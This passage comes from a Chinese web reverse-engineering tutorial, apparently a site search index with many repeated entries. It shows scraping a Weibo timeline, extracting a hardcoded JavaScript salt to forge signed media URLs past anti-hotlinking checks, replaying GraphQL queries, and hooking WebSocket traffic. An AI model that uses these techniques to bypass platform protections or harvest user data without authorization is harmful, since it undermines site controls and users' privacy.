Scroll）方式加载： 用户滚动到底部时自动加载下一页 不使用传统的 page=1,2,3 分页 使用游标（cursor）或最后一条 ID 作为分页标识 ","date":"2025-03-23","objectID":"/reverse_engineering/web/05-case-studies/case_social_media/:2:1","tags":["Web","浏览器指纹","签名验证","Canvas指纹","案例分析","代理池"],"title":"社交媒体逆向案例","uri":"/reverse_engineering/web/05-case-studies/case_social_media/#背景"},{"categories":null,"collections":null,"content":"逆向步骤 1. 抓包分析 滚动到底部，观察 Network 面板的 XHR 请求： GET /api/timeline?max_id=1234567890\u0026count=20 HTTP/1.1 参数说明： max_id: 当前页最后一条微博的 ID count: 每页数量 响应结构： 2. Python 实现爬取 import requests import time class WeiboScraper: def __init__(self, cookie): self.session = requests.Session() self.session.headers.update({ 'User-Agent': 'Mozilla/5.0...', 'Cookie': cookie, 'Referer': 'https://weibo.com/' }) self.base_url = 'https://weibo.com/api/timeline' def fetch_timeline(self, max_id=None, count=20): \"\"\"获取时间线\"\"\" params = {'count': count} if max_id: params['max_id'] = max_id response = self.session.get(self.base_url, params=params) return response.json() def scrape_all(self, max_pages=10): \"\"\"爬取多页\"\"\" all_posts = [] next_cursor = None for page in range(max_pages): print(f'Fetching page {page + 1}...') data = self.fetch_timeline(max_id=next_cursor) posts = data.get('data', []) all_posts.extend(posts) # 获取下一页游标 next_cursor = data.get('next_cursor') if not next_cursor: print('No more data') break # 礼貌延迟 time.sleep(2) return all_posts # 使用 scraper = WeiboScraper(cookie='YOUR_COOKIE_HERE') posts = scraper.scrape_all(max_pages=5) for post in posts: print(f\"[{post['id']}] {post['text']}\") ","date":"2025-03-23","objectID":"/reverse_engineering/web/05-case-studies/case_social_media/:2:2","tags":["Web","浏览器指纹","签名验证","Canvas指纹","案例分析","代理池"],"title":"社交媒体逆向案例","uri":"/reverse_engineering/web/05-case-studies/case_social_media/#逆向步骤"},{"categories":null,"collections":null,"content":"逆向步骤 1. 抓包分析 滚动到底部，观察 Network 面板的 XHR 请求： GET /api/timeline?max_id=1234567890\u0026count=20 HTTP/1.1 参数说明： max_id: 当前页最后一条微博的 ID count: 每页数量 响应结构： 2. Python 实现爬取 import requests import time class WeiboScraper: def __init__(self, cookie): self.session = requests.Session() self.session.headers.update({ 'User-Agent': 'Mozilla/5.0...', 'Cookie': cookie, 'Referer': 'https://weibo.com/' }) self.base_url = 'https://weibo.com/api/timeline' def fetch_timeline(self, max_id=None, count=20): \"\"\"获取时间线\"\"\" params = {'count': count} if max_id: params['max_id'] = max_id response = self.session.get(self.base_url, params=params) return response.json() def scrape_all(self, max_pages=10): \"\"\"爬取多页\"\"\" all_posts = [] next_cursor = None for page in range(max_pages): print(f'Fetching page {page + 1}...') data = self.fetch_timeline(max_id=next_cursor) posts = data.get('data', []) all_posts.extend(posts) # 获取下一页游标 next_cursor = data.get('next_cursor') if not next_cursor: print('No more data') break # 礼貌延迟 time.sleep(2) return all_posts # 使用 scraper = WeiboScraper(cookie='YOUR_COOKIE_HERE') posts = scraper.scrape_all(max_pages=5) for post in posts: print(f\"[{post['id']}] {post['text']}\") ","date":"2025-03-23","objectID":"/reverse_engineering/web/05-case-studies/case_social_media/:2:2","tags":["Web","浏览器指纹","签名验证","Canvas指纹","案例分析","代理池"],"title":"社交媒体逆向案例","uri":"/reverse_engineering/web/05-case-studies/case_social_media/#1-抓包分析"},{"categories":null,"collections":null,"content":"逆向步骤 1. 抓包分析 滚动到底部，观察 Network 面板的 XHR 请求： GET /api/timeline?max_id=1234567890\u0026count=20 HTTP/1.1 参数说明： max_id: 当前页最后一条微博的 ID count: 每页数量 响应结构： 2. Python 实现爬取 import requests import time class WeiboScraper: def __init__(self, cookie): self.session = requests.Session() self.session.headers.update({ 'User-Agent': 'Mozilla/5.0...', 'Cookie': cookie, 'Referer': 'https://weibo.com/' }) self.base_url = 'https://weibo.com/api/timeline' def fetch_timeline(self, max_id=None, count=20): \"\"\"获取时间线\"\"\" params = {'count': count} if max_id: params['max_id'] = max_id response = self.session.get(self.base_url, params=params) return response.json() def scrape_all(self, max_pages=10): \"\"\"爬取多页\"\"\" all_posts = [] next_cursor = None for page in range(max_pages): print(f'Fetching page {page + 1}...') data = self.fetch_timeline(max_id=next_cursor) posts = data.get('data', []) all_posts.extend(posts) # 获取下一页游标 next_cursor = data.get('next_cursor') if not next_cursor: print('No more data') break # 礼貌延迟 time.sleep(2) return all_posts # 使用 scraper = WeiboScraper(cookie='YOUR_COOKIE_HERE') posts = scraper.scrape_all(max_pages=5) for post in posts: print(f\"[{post['id']}] {post['text']}\") ","date":"2025-03-23","objectID":"/reverse_engineering/web/05-case-studies/case_social_media/:2:2","tags":["Web","浏览器指纹","签名验证","Canvas指纹","案例分析","代理池"],"title":"社交媒体逆向案例","uri":"/reverse_engineering/web/05-case-studies/case_social_media/#2-python-实现爬取"},{"categories":null,"collections":null,"content":"案例二：Instagram/抖音图片/视频 URL 解密 ","date":"2025-03-23","objectID":"/reverse_engineering/web/05-case-studies/case_social_media/:3:0","tags":["Web","浏览器指纹","签名验证","Canvas指纹","案例分析","代理池"],"title":"社交媒体逆向案例","uri":"/reverse_engineering/web/05-case-studies/case_social_media/#案例二instagram抖音图片视频-url-解密"},{"categories":null,"collections":null,"content":"背景 社交媒体平台的图片/视频 URL 通常经过加密或签名： 防止直接下载 防止盗链 添加时效性（URL 在一定时间后失效） ","date":"2025-03-23","objectID":"/reverse_engineering/web/05-case-studies/case_social_media/:3:1","tags":["Web","浏览器指纹","签名验证","Canvas指纹","案例分析","代理池"],"title":"社交媒体逆向案例","uri":"/reverse_engineering/web/05-case-studies/case_social_media/#背景-1"},{"categories":null,"collections":null,"content":"逆向步骤 1. 观察图片加载 在 Network 面板中观察图片请求： GET /img/v2/abc123?sig=def456\u0026ts=1702800000 HTTP/1.1 参数： sig: 签名 ts: 时间戳 2. 定位签名生成函数 在 Sources 面板搜索 sig 或 signature，找到生成逻辑： function generateImageSignature(imageId, timestamp) { // 拼接字符串 const str = `${imageId}:${timestamp}:${SECRET_SALT}`; // MD5 签名 return md5(str); } // 使用 const imageId = \"abc123\"; const timestamp = Math.floor(Date.now() / 1000); const sig = generateImageSignature(imageId, timestamp); const imageUrl = `/img/v2/${imageId}?sig=${sig}\u0026ts=${timestamp}`; 密钥提取: // 搜索 \"SECRET_SALT\" 或硬编码的字符串 const SECRET_SALT = \"my_secret_key_2023\"; 3. Python 实现 import hashlib import time class MediaDownloader: SECRET_SALT = \"my_secret_key_2023\" # 从 JS 中提取 def generate_signature(self, media_id, timestamp): \"\"\"生成签名\"\"\" str_to_sign = f\"{media_id}:{timestamp}:{self.SECRET_SALT}\" return hashlib.md5(str_to_sign.encode()).hexdigest() def get_media_url(self, media_id): \"\"\"生成有签名的媒体 URL\"\"\" timestamp = int(time.time()) sig = self.generate_signature(media_id, timestamp) return f\"https://example.com/img/v2/{media_id}?sig={sig}\u0026ts={timestamp}\" def download(self, media_id, save_path): \"\"\"下载媒体\"\"\" url = self.get_media_url(media_id) response = requests.get(url) with open(save_path, 'wb') as f: f.write(response.content) print(f'Downloaded to {save_path}') # 使用 downloader = MediaDownloader() downloader.download('abc123', 'image.jpg') ","date":"2025-03-23","objectID":"/reverse_engineering/web/05-case-studies/case_social_media/:3:2","tags":["Web","浏览器指纹","签名验证","Canvas指纹","案例分析","代理池"],"title":"社交媒体逆向案例","uri":"/reverse_engineering/web/05-case-studies/case_social_media/#逆向步骤-1"},{"categories":null,"collections":null,"content":"逆向步骤 1. 观察图片加载 在 Network 面板中观察图片请求： GET /img/v2/abc123?sig=def456\u0026ts=1702800000 HTTP/1.1 参数： sig: 签名 ts: 时间戳 2. 定位签名生成函数 在 Sources 面板搜索 sig 或 signature，找到生成逻辑： function generateImageSignature(imageId, timestamp) { // 拼接字符串 const str = `${imageId}:${timestamp}:${SECRET_SALT}`; // MD5 签名 return md5(str); } // 使用 const imageId = \"abc123\"; const timestamp = Math.floor(Date.now() / 1000); const sig = generateImageSignature(imageId, timestamp); const imageUrl = `/img/v2/${imageId}?sig=${sig}\u0026ts=${timestamp}`; 密钥提取: // 搜索 \"SECRET_SALT\" 或硬编码的字符串 const SECRET_SALT = \"my_secret_key_2023\"; 3. Python 实现 import hashlib import time class MediaDownloader: SECRET_SALT = \"my_secret_key_2023\" # 从 JS 中提取 def generate_signature(self, media_id, timestamp): \"\"\"生成签名\"\"\" str_to_sign = f\"{media_id}:{timestamp}:{self.SECRET_SALT}\" return hashlib.md5(str_to_sign.encode()).hexdigest() def get_media_url(self, media_id): \"\"\"生成有签名的媒体 URL\"\"\" timestamp = int(time.time()) sig = self.generate_signature(media_id, timestamp) return f\"https://example.com/img/v2/{media_id}?sig={sig}\u0026ts={timestamp}\" def download(self, media_id, save_path): \"\"\"下载媒体\"\"\" url = self.get_media_url(media_id) response = requests.get(url) with open(save_path, 'wb') as f: f.write(response.content) print(f'Downloaded to {save_path}') # 使用 downloader = MediaDownloader() downloader.download('abc123', 'image.jpg') ","date":"2025-03-23","objectID":"/reverse_engineering/web/05-case-studies/case_social_media/:3:2","tags":["Web","浏览器指纹","签名验证","Canvas指纹","案例分析","代理池"],"title":"社交媒体逆向案例","uri":"/reverse_engineering/web/05-case-studies/case_social_media/#1-观察图片加载"},{"categories":null,"collections":null,"content":"逆向步骤 1. 观察图片加载 在 Network 面板中观察图片请求： GET /img/v2/abc123?sig=def456\u0026ts=1702800000 HTTP/1.1 参数： sig: 签名 ts: 时间戳 2. 定位签名生成函数 在 Sources 面板搜索 sig 或 signature，找到生成逻辑： function generateImageSignature(imageId, timestamp) { // 拼接字符串 const str = `${imageId}:${timestamp}:${SECRET_SALT}`; // MD5 签名 return md5(str); } // 使用 const imageId = \"abc123\"; const timestamp = Math.floor(Date.now() / 1000); const sig = generateImageSignature(imageId, timestamp); const imageUrl = `/img/v2/${imageId}?sig=${sig}\u0026ts=${timestamp}`; 密钥提取: // 搜索 \"SECRET_SALT\" 或硬编码的字符串 const SECRET_SALT = \"my_secret_key_2023\"; 3. Python 实现 import hashlib import time class MediaDownloader: SECRET_SALT = \"my_secret_key_2023\" # 从 JS 中提取 def generate_signature(self, media_id, timestamp): \"\"\"生成签名\"\"\" str_to_sign = f\"{media_id}:{timestamp}:{self.SECRET_SALT}\" return hashlib.md5(str_to_sign.encode()).hexdigest() def get_media_url(self, media_id): \"\"\"生成有签名的媒体 URL\"\"\" timestamp = int(time.time()) sig = self.generate_signature(media_id, timestamp) return f\"https://example.com/img/v2/{media_id}?sig={sig}\u0026ts={timestamp}\" def download(self, media_id, save_path): \"\"\"下载媒体\"\"\" url = self.get_media_url(media_id) response = requests.get(url) with open(save_path, 'wb') as f: f.write(response.content) print(f'Downloaded to {save_path}') # 使用 downloader = MediaDownloader() downloader.download('abc123', 'image.jpg') ","date":"2025-03-23","objectID":"/reverse_engineering/web/05-case-studies/case_social_media/:3:2","tags":["Web","浏览器指纹","签名验证","Canvas指纹","案例分析","代理池"],"title":"社交媒体逆向案例","uri":"/reverse_engineering/web/05-case-studies/case_social_media/#2-定位签名生成函数"},{"categories":null,"collections":null,"content":"逆向步骤 1. 观察图片加载 在 Network 面板中观察图片请求： GET /img/v2/abc123?sig=def456\u0026ts=1702800000 HTTP/1.1 参数： sig: 签名 ts: 时间戳 2. 定位签名生成函数 在 Sources 面板搜索 sig 或 signature，找到生成逻辑： function generateImageSignature(imageId, timestamp) { // 拼接字符串 const str = `${imageId}:${timestamp}:${SECRET_SALT}`; // MD5 签名 return md5(str); } // 使用 const imageId = \"abc123\"; const timestamp = Math.floor(Date.now() / 1000); const sig = generateImageSignature(imageId, timestamp); const imageUrl = `/img/v2/${imageId}?sig=${sig}\u0026ts=${timestamp}`; 密钥提取: // 搜索 \"SECRET_SALT\" 或硬编码的字符串 const SECRET_SALT = \"my_secret_key_2023\"; 3. Python 实现 import hashlib import time class MediaDownloader: SECRET_SALT = \"my_secret_key_2023\" # 从 JS 中提取 def generate_signature(self, media_id, timestamp): \"\"\"生成签名\"\"\" str_to_sign = f\"{media_id}:{timestamp}:{self.SECRET_SALT}\" return hashlib.md5(str_to_sign.encode()).hexdigest() def get_media_url(self, media_id): \"\"\"生成有签名的媒体 URL\"\"\" timestamp = int(time.time()) sig = self.generate_signature(media_id, timestamp) return f\"https://example.com/img/v2/{media_id}?sig={sig}\u0026ts={timestamp}\" def download(self, media_id, save_path): \"\"\"下载媒体\"\"\" url = self.get_media_url(media_id) response = requests.get(url) with open(save_path, 'wb') as f: f.write(response.content) print(f'Downloaded to {save_path}') # 使用 downloader = MediaDownloader() downloader.download('abc123', 'image.jpg') ","date":"2025-03-23","objectID":"/reverse_engineering/web/05-case-studies/case_social_media/:3:2","tags":["Web","浏览器指纹","签名验证","Canvas指纹","案例分析","代理池"],"title":"社交媒体逆向案例","uri":"/reverse_engineering/web/05-case-studies/case_social_media/#3-python-实现"},{"categories":null,"collections":null,"content":"案例三：GraphQL API 逆向 ","date":"2025-03-23","objectID":"/reverse_engineering/web/05-case-studies/case_social_media/:4:0","tags":["Web","浏览器指纹","签名验证","Canvas指纹","案例分析","代理池"],"title":"社交媒体逆向案例","uri":"/reverse_engineering/web/05-case-studies/case_social_media/#案例三graphql-api-逆向"},{"categories":null,"collections":null,"content":"背景 现代社交媒体（如 Facebook, Instagram, GitHub）使用 GraphQL 而非 REST API： 单个端点处理所有请求 客户端指定需要的字段 复杂的查询结构 ","date":"2025-03-23","objectID":"/reverse_engineering/web/05-case-studies/case_social_media/:4:1","tags":["Web","浏览器指纹","签名验证","Canvas指纹","案例分析","代理池"],"title":"社交媒体逆向案例","uri":"/reverse_engineering/web/05-case-studies/case_social_media/#背景-2"},{"categories":null,"collections":null,"content":"逆向步骤 1. 抓包分析 GraphQL 请求 POST /graphql HTTP/1.1 Content-Type: application/json { \"query\": \"query UserTimeline($userId: ID!, $first: Int!) { user(id: $userId) { posts(first: $first) { edges { node { id text created_at likes { count } } } } } }\", \"variables\": { \"userId\": \"12345\", \"first\": 20 } } 2. 理解查询结构 查询格式化后： query UserTimeline($userId: ID!, $first: Int!) { user(id: $userId) { posts(first: $first) { edges { node { id text created_at likes { count } } } } } } 3. Python 实现 import requests class GraphQLClient: def __init__(self, endpoint, token): self.endpoint = endpoint self.headers = { 'Authorization': f'Bearer {token}', 'Content-Type': 'application/json' } def query(self, query_string, variables=None): \"\"\"执行 GraphQL 查询\"\"\" payload = {'query': query_string} if variables: payload['variables'] = variables response = requests.post( self.endpoint, json=payload, headers=self.headers ) return response.json() def get_user_posts(self, user_id, first=20): \"\"\"获取用户帖子\"\"\" query = \"\"\" query UserTimeline($userId: ID!, $first: Int!) { user(id: $userId) { posts(first: $first) { edges { node { id text created_at likes { count } comments { count } } } } } } \"\"\" variables = { 'userId': user_id, 'first': first } return self.query(query, variables) # 使用 client = GraphQLClient( endpoint='https://example.com/graphql', token='YOUR_TOKEN_HERE' ) result = client.get_user_posts(user_id='12345', first=50) # 解析结果 posts = result['data']['user']['posts']['edges'] for edge in posts: post = edge['node'] print(f\"[{post['id']}] {post['text']}\") print(f\"Likes: {post['likes']['count']}, Comments: {post['comments']['count']}\") ","date":"2025-03-23","objectID":"/reverse_engineering/web/05-case-studies/case_social_media/:4:2","tags":["Web","浏览器指纹","签名验证","Canvas指纹","案例分析","代理池"],"title":"社交媒体逆向案例","uri":"/reverse_engineering/web/05-case-studies/case_social_media/#逆向步骤-2"},{"categories":null,"collections":null,"content":"逆向步骤 1. 抓包分析 GraphQL 请求 POST /graphql HTTP/1.1 Content-Type: application/json { \"query\": \"query UserTimeline($userId: ID!, $first: Int!) { user(id: $userId) { posts(first: $first) { edges { node { id text created_at likes { count } } } } } }\", \"variables\": { \"userId\": \"12345\", \"first\": 20 } } 2. 理解查询结构 查询格式化后： query UserTimeline($userId: ID!, $first: Int!) { user(id: $userId) { posts(first: $first) { edges { node { id text created_at likes { count } } } } } } 3. Python 实现 import requests class GraphQLClient: def __init__(self, endpoint, token): self.endpoint = endpoint self.headers = { 'Authorization': f'Bearer {token}', 'Content-Type': 'application/json' } def query(self, query_string, variables=None): \"\"\"执行 GraphQL 查询\"\"\" payload = {'query': query_string} if variables: payload['variables'] = variables response = requests.post( self.endpoint, json=payload, headers=self.headers ) return response.json() def get_user_posts(self, user_id, first=20): \"\"\"获取用户帖子\"\"\" query = \"\"\" query UserTimeline($userId: ID!, $first: Int!) { user(id: $userId) { posts(first: $first) { edges { node { id text created_at likes { count } comments { count } } } } } } \"\"\" variables = { 'userId': user_id, 'first': first } return self.query(query, variables) # 使用 client = GraphQLClient( endpoint='https://example.com/graphql', token='YOUR_TOKEN_HERE' ) result = client.get_user_posts(user_id='12345', first=50) # 解析结果 posts = result['data']['user']['posts']['edges'] for edge in posts: post = edge['node'] print(f\"[{post['id']}] {post['text']}\") print(f\"Likes: {post['likes']['count']}, Comments: {post['comments']['count']}\") ","date":"2025-03-23","objectID":"/reverse_engineering/web/05-case-studies/case_social_media/:4:2","tags":["Web","浏览器指纹","签名验证","Canvas指纹","案例分析","代理池"],"title":"社交媒体逆向案例","uri":"/reverse_engineering/web/05-case-studies/case_social_media/#1-抓包分析-graphql-请求"},{"categories":null,"collections":null,"content":"逆向步骤 1. 抓包分析 GraphQL 请求 POST /graphql HTTP/1.1 Content-Type: application/json { \"query\": \"query UserTimeline($userId: ID!, $first: Int!) { user(id: $userId) { posts(first: $first) { edges { node { id text created_at likes { count } } } } } }\", \"variables\": { \"userId\": \"12345\", \"first\": 20 } } 2. 理解查询结构 查询格式化后： query UserTimeline($userId: ID!, $first: Int!) { user(id: $userId) { posts(first: $first) { edges { node { id text created_at likes { count } } } } } } 3. Python 实现 import requests class GraphQLClient: def __init__(self, endpoint, token): self.endpoint = endpoint self.headers = { 'Authorization': f'Bearer {token}', 'Content-Type': 'application/json' } def query(self, query_string, variables=None): \"\"\"执行 GraphQL 查询\"\"\" payload = {'query': query_string} if variables: payload['variables'] = variables response = requests.post( self.endpoint, json=payload, headers=self.headers ) return response.json() def get_user_posts(self, user_id, first=20): \"\"\"获取用户帖子\"\"\" query = \"\"\" query UserTimeline($userId: ID!, $first: Int!) { user(id: $userId) { posts(first: $first) { edges { node { id text created_at likes { count } comments { count } } } } } } \"\"\" variables = { 'userId': user_id, 'first': first } return self.query(query, variables) # 使用 client = GraphQLClient( endpoint='https://example.com/graphql', token='YOUR_TOKEN_HERE' ) result = client.get_user_posts(user_id='12345', first=50) # 解析结果 posts = result['data']['user']['posts']['edges'] for edge in posts: post = edge['node'] print(f\"[{post['id']}] {post['text']}\") print(f\"Likes: {post['likes']['count']}, Comments: {post['comments']['count']}\") ","date":"2025-03-23","objectID":"/reverse_engineering/web/05-case-studies/case_social_media/:4:2","tags":["Web","浏览器指纹","签名验证","Canvas指纹","案例分析","代理池"],"title":"社交媒体逆向案例","uri":"/reverse_engineering/web/05-case-studies/case_social_media/#2-理解查询结构"},{"categories":null,"collections":null,"content":"逆向步骤 1. 抓包分析 GraphQL 请求 POST /graphql HTTP/1.1 Content-Type: application/json { \"query\": \"query UserTimeline($userId: ID!, $first: Int!) { user(id: $userId) { posts(first: $first) { edges { node { id text created_at likes { count } } } } } }\", \"variables\": { \"userId\": \"12345\", \"first\": 20 } } 2. 理解查询结构 查询格式化后： query UserTimeline($userId: ID!, $first: Int!) { user(id: $userId) { posts(first: $first) { edges { node { id text created_at likes { count } } } } } } 3. Python 实现 import requests class GraphQLClient: def __init__(self, endpoint, token): self.endpoint = endpoint self.headers = { 'Authorization': f'Bearer {token}', 'Content-Type': 'application/json' } def query(self, query_string, variables=None): \"\"\"执行 GraphQL 查询\"\"\" payload = {'query': query_string} if variables: payload['variables'] = variables response = requests.post( self.endpoint, json=payload, headers=self.headers ) return response.json() def get_user_posts(self, user_id, first=20): \"\"\"获取用户帖子\"\"\" query = \"\"\" query UserTimeline($userId: ID!, $first: Int!) { user(id: $userId) { posts(first: $first) { edges { node { id text created_at likes { count } comments { count } } } } } } \"\"\" variables = { 'userId': user_id, 'first': first } return self.query(query, variables) # 使用 client = GraphQLClient( endpoint='https://example.com/graphql', token='YOUR_TOKEN_HERE' ) result = client.get_user_posts(user_id='12345', first=50) # 解析结果 posts = result['data']['user']['posts']['edges'] for edge in posts: post = edge['node'] print(f\"[{post['id']}] {post['text']}\") print(f\"Likes: {post['likes']['count']}, Comments: {post['comments']['count']}\") ","date":"2025-03-23","objectID":"/reverse_engineering/web/05-case-studies/case_social_media/:4:2","tags":["Web","浏览器指纹","签名验证","Canvas指纹","案例分析","代理池"],"title":"社交媒体逆向案例","uri":"/reverse_engineering/web/05-case-studies/case_social_media/#3-python-实现-1"},{"categories":null,"collections":null,"content":"案例四：实时通知与 WebSocket ","date":"2025-03-23","objectID":"/reverse_engineering/web/05-case-studies/case_social_media/:5:0","tags":["Web","浏览器指纹","签名验证","Canvas指纹","案例分析","代理池"],"title":"社交媒体逆向案例","uri":"/reverse_engineering/web/05-case-studies/case_social_media/#案例四实时通知与-websocket"},{"categories":null,"collections":null,"content":"背景 社交媒体的实时通知（新消息、点赞、评论）通常使用 WebSocket： 双向通信 服务器主动推送 保持长连接 ","date":"2025-03-23","objectID":"/reverse_engineering/web/05-case-studies/case_social_media/:5:1","tags":["Web","浏览器指纹","签名验证","Canvas指纹","案例分析","代理池"],"title":"社交媒体逆向案例","uri":"/reverse_engineering/web/05-case-studies/case_social_media/#背景-3"},{"categories":null,"collections":null,"content":"逆向步骤 1. 观察 WebSocket 连接 在 Network 面板的 WS 标签中查看： // 连接建立 ws://example.com/ws?token=abc123\u0026userId=12345 // 接收消息 { \"type\": \"notification\", \"data\": { \"id\": \"notify_123\", \"type\": \"like\", \"from_user\": \"user_456\", \"post_id\": \"post_789\", \"timestamp\": 1702800000 } } // 发送消息（心跳） { \"type\": \"ping\", \"timestamp\": 1702800000 } 2. Hook WebSocket // Hook WebSocket 构造函数 const OriginalWebSocket = window.WebSocket; window.WebSocket = function (url, protocols) { console.log(\"[WebSocket] Connecting to:\", url); const ws = new OriginalWebSocket(url, protocols); // Hook onmessage const originalOnMessage = ws.onmessage; ws.onmessage = function (event) { console.log(\"[WebSocket] Received:\", event.data); if (originalOnMessage) { originalOnMessage.call(this, event); } }; // Hook send const originalSend = ws.send; ws.send = function (data) { console.log(\"[WebSocket] Sending:\", data); return originalSend.call(this, data); }; return ws; }; 3. Python 实现 WebSocket 客户端 import websocket import json import threading import time class SocialMediaWS: def __init__(self, token, user_id): self.token = token self.user_id = user_id self.ws = None self.running = False def on_message(self, ws, message): \"\"\"接收消息回调\"\"\" data = json.loads(message) print(f'[Received] {data}') if data['type'] == 'notification': self.handle_notification(data['data']) def on_error(self, ws, error): \"\"\"错误回调\"\"\" print(f'[Error] {error}') def on_close(self, ws, close_status_code, close_msg): \"\"\"关闭回调\"\"\" print(f'[Closed] Code: {close_status_code}, Message: {close_msg}') self.running = False def on_open(self, ws): \"\"\"连接建立回调\"\"\" print('[Connected]') self.running = True # 启动心跳线程 threading.Thread(target=self.send_heartbeat, daemon=True).start() def send_heartbeat(self): \"\"\"发送心跳\"\"\" while self.running: if self.ws: ping_msg = json.dumps({ 'type': 'ping', 'timestamp': int(time.time()) }) self.ws.send(ping_msg) print('[Heartbeat] Sent') time.sleep(30) # 每30秒一次 def handle_notification(self, data): \"\"\"处理通知\"\"\" notif_type = data['type'] if notif_type == 'like': print(f\"User {data['from_user']} liked your post {data['post_id']}\") elif notif_type == 'comment': print(f\"User {data['from_user']} commented on your post\") elif notif_type == 'follow': print(f\"User {data['from_user']} followed you\") def connect(self): \"\"\"建立连接\"\"\" url = f\"ws://example.com/ws?token={self.token}\u0026userId={self.user_id}\" self.ws = websocket.WebSocketApp( url, on_open=self.on_open, on_message=self.on_message, on_error=self.on_error, on_close=self.on_close ) # 运行（阻塞） self.ws.run_forever() def disconnect(self): \"\"\"断开连接\"\"\" self.running = False if self.ws: self.ws.close() # 使用 ws_client = SocialMediaWS(token='YOUR_TOKEN', user_id='12345') ws_client.connect() # 阻塞运行 ","date":"2025-03-23","objectID":"/reverse_engineering/web/05-case-studies/case_social_media/:5:2","tags":["Web","浏览器指纹","签名验证","Canvas指纹","案例分析","代理池"],"title":"社交媒体逆向案例","uri":"/reverse_engineering/web/05-case-studies/case_social_media/#逆向步骤-3"},{"categories":null,"collections":null,"content":"逆向步骤 1. 观察 WebSocket 连接 在 Network 面板的 WS 标签中查看： // 连接建立 ws://example.com/ws?token=abc123\u0026userId=12345 // 接收消息 { \"type\": \"notification\", \"data\": { \"id\": \"notify_123\", \"type\": \"like\", \"from_user\": \"user_456\", \"post_id\": \"post_789\", \"timestamp\": 1702800000 } } // 发送消息（心跳） { \"type\": \"ping\", \"timestamp\": 1702800000 } 2. Hook WebSocket // Hook WebSocket 构造函数 const OriginalWebSocket = window.WebSocket; window.WebSocket = function (url, protocols) { console.log(\"[WebSocket] Connecting to:\", url); const ws = new OriginalWebSocket(url, protocols); // Hook onmessage const originalOnMessage = ws.onmessage; ws.onmessage = function (event) { console.log(\"[WebSocket] Received:\", event.data); if (originalOnMessage) { originalOnMessage.call(this, event); } }; // Hook send const originalSend = ws.send; ws.send = function (data) { console.log(\"[WebSocket] Sending:\", data); return originalSend.call(this, data); }; return ws; }; 3. Python 实现 WebSocket 客户端 import websocket import json import threading import time class SocialMediaWS: def __init__(self, token, user_id): self.token = token self.user_id = user_id self.ws = None self.running = False def on_message(self, ws, message): \"\"\"接收消息回调\"\"\" data = json.loads(message) print(f'[Received] {data}') if data['type'] == 'notification': self.handle_notification(data['data']) def on_error(self, ws, error): \"\"\"错误回调\"\"\" print(f'[Error] {error}') def on_close(self, ws, close_status_code, close_msg): \"\"\"关闭回调\"\"\" print(f'[Closed] Code: {close_status_code}, Message: {close_msg}') self.running = False def on_open(self, ws): \"\"\"连接建立回调\"\"\" print('[Connected]') self.running = True # 启动心跳线程 threading.Thread(target=self.send_heartbeat, daemon=True).start() def send_heartbeat(self): \"\"\"发送心跳\"\"\" while self.running: if self.ws: ping_msg = json.dumps({ 'type': 'ping', 'timestamp': int(time.time()) }) self.ws.send(ping_msg) print('[Heartbeat] Sent') time.sleep(30) # 每30秒一次 def handle_notification(self, data): \"\"\"处理通知\"\"\" notif_type = data['type'] if notif_type == 'like': print(f\"User {data['from_user']} liked your post {data['post_id']}\") elif notif_type == 'comment': print(f\"User {data['from_user']} commented on your post\") elif notif_type == 'follow': print(f\"User {data['from_user']} followed you\") def connect(self): \"\"\"建立连接\"\"\" url = f\"ws://example.com/ws?token={self.token}\u0026userId={self.user_id}\" self.ws = websocket.WebSocketApp( url, on_open=self.on_open, on_message=self.on_message, on_error=self.on_error, on_close=self.on_close ) # 运行（阻塞） self.ws.run_forever() def disconnect(self): \"\"\"断开连接\"\"\" self.running = False if self.ws: self.ws.close() # 使用 ws_client = SocialMediaWS(token='YOUR_TOKEN', user_id='12345') ws_client.connect() # 阻塞运行 ","date":"2025-03-23","objectID":"/reverse_engineering/web/05-case-studies/case_social_media/:5:2","tags":["Web","浏览器指纹","签名验证","Canvas指纹","案例分析","代理池"],"title":"社交媒体逆向案例","uri":"/reverse_engineering/web/05-case-studies/case_social_media/#1-观察-websocket-连接"},{"categories":null,"collections":null,"content":"逆向步骤 1. 观察 WebSocket 连接 在 Network 面板的 WS 标签中查看： // 连接建立 ws://example.com/ws?token=abc123\u0026userId=12345 // 接收消息 { \"type\": \"notification\", \"data\": { \"id\": \"notify_123\", \"type\": \"like\", \"from_user\": \"user_456\", \"post_id\": \"post_789\", \"timestamp\": 1702800000 } } // 发送消息（心跳） { \"type\": \"ping\", \"timestamp\": 1702800000 } 2. Hook WebSocket // Hook WebSocket 构造函数 const OriginalWebSocket = window.WebSocket; window.WebSocket = function (url, protocols) { console.log(\"[WebSocket] Connecting to:\", url); const ws = new OriginalWebSocket(url, protocols); // Hook onmessage const originalOnMessage = ws.onmessage; ws.onmessage = function (event) { console.log(\"[WebSocket] Received:\", event.data); if (originalOnMessage) { originalOnMessage.call(this, event); } }; // Hook send const originalSend = ws.send; ws.send = function (data) { console.log(\"[WebSocket] Sending:\", data); return originalSend.call(this, data); }; return ws; }; 3. Python 实现 WebSocket 客户端 import websocket import json import threading import time class SocialMediaWS: def __init__(self, token, user_id): self.token = token self.user_id = user_id self.ws = None self.running = False def on_message(self, ws, message): \"\"\"接收消息回调\"\"\" data = json.loads(message) print(f'[Received] {data}') if data['type'] == 'notification': self.handle_notification(data['data']) def on_error(self, ws, error): \"\"\"错误回调\"\"\" print(f'[Error] {error}') def on_close(self, ws, close_status_code, close_msg): \"\"\"关闭回调\"\"\" print(f'[Closed] Code: {close_status_code}, Message: {close_msg}') self.running = False def on_open(self, ws): \"\"\"连接建立回调\"\"\" print('[Connected]') self.running = True # 启动心跳线程 threading.Thread(target=self.send_heartbeat, daemon=True).start() def send_heartbeat(self): \"\"\"发送心跳\"\"\" while self.running: if self.ws: ping_msg = json.dumps({ 'type': 'ping', 'timestamp': int(time.time()) }) self.ws.send(ping_msg) print('[Heartbeat] Sent') time.sleep(30) # 每30秒一次 def handle_notification(self, data): \"\"\"处理通知\"\"\" notif_type = data['type'] if notif_type == 'like': print(f\"User {data['from_user']} liked your post {data['post_id']}\") elif notif_type == 'comment': print(f\"User {data['from_user']} commented on your post\") elif notif_type == 'follow': print(f\"User {data['from_user']} followed you\") def connect(self): \"\"\"建立连接\"\"\" url = f\"ws://example.com/ws?token={self.token}\u0026userId={self.user_id}\" self.ws = websocket.WebSocketApp( url, on_open=self.on_open, on_message=self.on_message, on_error=self.on_error, on_close=self.on_close ) # 运行（阻塞） self.ws.run_forever() def disconnect(self): \"\"\"断开连接\"\"\" self.running = False if self.ws: self.ws.close() # 使用 ws_client = 